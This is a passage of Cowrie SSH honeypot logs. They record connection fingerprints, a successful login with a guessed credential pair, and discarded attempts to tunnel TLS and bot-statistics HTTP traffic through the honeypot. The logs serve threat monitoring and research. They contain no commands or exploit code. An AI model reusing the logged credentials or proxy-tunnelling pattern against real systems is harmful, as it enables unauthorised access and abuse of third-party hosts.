VIXacv%2FZNJZ8bhP2HQ4j1HmMd55B2aoUBSGPm4IpRbpoMGDS0lGZg%2FRzFHuC377lx19kHYsdEw%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:12.254907Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:12.525279Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\xed\\x1b\\xd1\\xa1\\x91\\x7f\\x0c@\\xe8&\\x15\\x03A\\x9anBR>\\xca_\\x88\\xbfP\\xbf\\x8d\\x97T\\xc2\\xfb)\\xbc \\x81:{\\xa6\\xc2c\\n@\\x81\\xb5Q$\\xc8/\\x01d\\xb5\\x1f\\xba3\\x8b\\xa2\\x06\\xf81'9iX\\x92\\x1eH\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5/i\\xcc1\\xee\\xd3h\\x9a\\x8f\\x93\\xf90\\xa14\\xfd\\x06\\xdc[\\x007ro\\xb3\\n\\xc2\\xb4'\\xc4\\xe3g'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\xed\\x1b\\xd1\\xa1\\x91\\x7f\\x0c@\\xe8&\\x15\\x03A\\x9anBR>\\xca_\\x88\\xbfP\\xbf\\x8d\\x97T\\xc2\\xfb)\\xbc \\x81:{\\xa6\\xc2c\\n@\\x81\\xb5Q$\\xc8/\\x01d\\xb5\\x1f\\xba3\\x8b\\xa2\\x06\\xf81'9iX\\x92\\x1eH\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5/i\\xcc1\\xee\\xd3h\\x9a\\x8f\\x93\\xf90\\xa14\\xfd\\x06\\xdc[\\x007ro\\xb3\\n\\xc2\\xb4'\\xc4\\xe3g'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:12.529985Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:12.803982Z","src_ip":"2.99.213.222","session":"b4cdda5add24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":64785,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7be67cb0dd3","protocol":"ssh","message":"New connection: 23.175.50.52:64785 (10.17.0.5:22) [session: f7be67cb0dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:12.868426Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":55252,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f3f374aea62","protocol":"ssh","message":"New connection: 2.99.213.222:55252 (159.203.135.109:22) [session: 9f3f374aea62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:12.899185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:12.903267Z","src_ip":"2.99.213.222","session":"9f3f374aea62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.003753Z","src_ip":"2.99.213.222","session":"9f3f374aea62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.080043Z","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.186083Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.190531Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.365072Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\xd4\\xa6\\xc5\\xa4tc\\xaa\\x074\\x17\\xa5\\xe9\\xcb\\xc6T{E\\x06\\xa1\\x1cS\\x00G\\xe2\\x12\\x92&\\x05a\\xa2C )C\\xad\\x8e9)\\xc5\\x0e\\x9b/\\tJ\\xf0\\xdb\\xe5\\xf9\\x1es\\xe8p\\xe4O\\x15\\x1c\\xef\\xb1>\\xd3\\xc2Za\\xd5\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0C\\x8d\\x1e=\\xd3,\\xbb0s\\xcf\\xf7?\\xad\\x83)\\xc0{\\x97<\\xab4>\\xd48\\r>B\\xc2\\xdf\\xd62\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\xd4\\xa6\\xc5\\xa4tc\\xaa\\x074\\x17\\xa5\\xe9\\xcb\\xc6T{E\\x06\\xa1\\x1cS\\x00G\\xe2\\x12\\x92&\\x05a\\xa2C )C\\xad\\x8e9)\\xc5\\x0e\\x9b/\\tJ\\xf0\\xdb\\xe5\\xf9\\x1es\\xe8p\\xe4O\\x15\\x1c\\xef\\xb1>\\xd3\\xc2Za\\xd5\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0C\\x8d\\x1e=\\xd3,\\xbb0s\\xcf\\xf7?\\xad\\x83)\\xc0{\\x97<\\xab4>\\xd48\\r>B\\xc2\\xdf\\xd62\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.368294Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.454679Z","src_ip":"2.99.213.222","session":"9f3f374aea62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.558333Z","src_ip":"2.99.213.222","session":"06fa1e3c661b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.562982Z","src_ip":"2.99.213.222","session":"9f3f374aea62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:13.773198Z","src_ip":"113.164.152.20","session":"37e4b463a54a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:14.825696Z","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:15.112002Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Edg/81.0.416.81\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Q3p0Klp6ZilvQz5GclhJTA%3D%3D9CjPCuitjU7nxCTsTCo%2FOTRMWxa3QQWNw6%2BjvvkNqRQJ3HmCUj4odeiEDuTIgRMePPPALrvZh7up0tW5pfgYvtBtl4HEEYhWwWes4kRP5ufYpyVYkrnOHJV6U5EJ317zskrmVfO5xoyAb57Zsfam1on45UvWr2jy1%2FDao1uTdSl2vvlfPam1hhvzEpaGtkmBV1GDnpZRq7UmQkxNk1ocTtW2Yls92xE6mAsdC3C0TBNe7qtS6d7TdiPEuVKO8GXQcnFN00HAmWplDsdC5rWLsbzUMsEW%2BVjz3RtPFnbjvmlDjCX2w0ykiTVyEqUQFosxQm2nkuJ3DeP5LwXZBJPC7nTjnMUWu%2BYRj6Ovp6h0or08hkp9yPJksyzlF17cJJEzuZACBncGwNxYjgXdNOeQmhh8DSUVDRDmevDS6Mbq9UQLmWSwZrgjPRkS%2B66J0AFBZXDp4nPBlg%2F2fWhiQG8I3%2B7QEORLgKatmmNqw70pBeJQxPUciKWkePv3T3zz8ZNfNE9sDCNVygRXehrwmxArzOo%2BEmEfBTw%2F8eRwx2iUTB6%2BhNc1DGPUY4Qu6a4mstXqvg%2FOGXm5pv5WnXEnLq4%2B7uOa3xVxu59vfGLy7k%2FPVLCnLImE3WcyzSH5dwn7frcEfmPbfgmaUcYO3mHE%2BEivI1bLlJ1PypVQC%2BZf%2FSG5mrCGKUDd7vKLSk1Te%2BypefSGgfR0Up2OO5jgdBaGzXbsnQITe%2FIMeLTdrbmXGMU%2BcRn1Rt0paoA4O34p%2F2UZlNB9Gnl9wMUuh6aqfZ2gOTXDDVLQId7Geys9fVYSrpCmHI1Win%2FOdPT7QR6D085a9Rskvl1eUPvBQEnc39i6GF1S5hGTRH7lYTDGtfl72XExNtksPwMcNnrZyNkFMtZ7Hr01dQJKi8nnd61PjwegTk760iTiJV6rOuuueTnku6YicmYe7xkKPvfkB2vAQaRLjCppDx5Pie9fi50fj8YEq3%2Fk1bf3smcNzxQWtXX1IikhiMt8b761P9821n0gM2cvyHkNXZH7viNr3rgk8iyztxtKnYGUZmsXd0t8pTVs0R0zPG6pY9dOQ%2FgEw8kQy2uyor03'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Edg/81.0.416.81\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 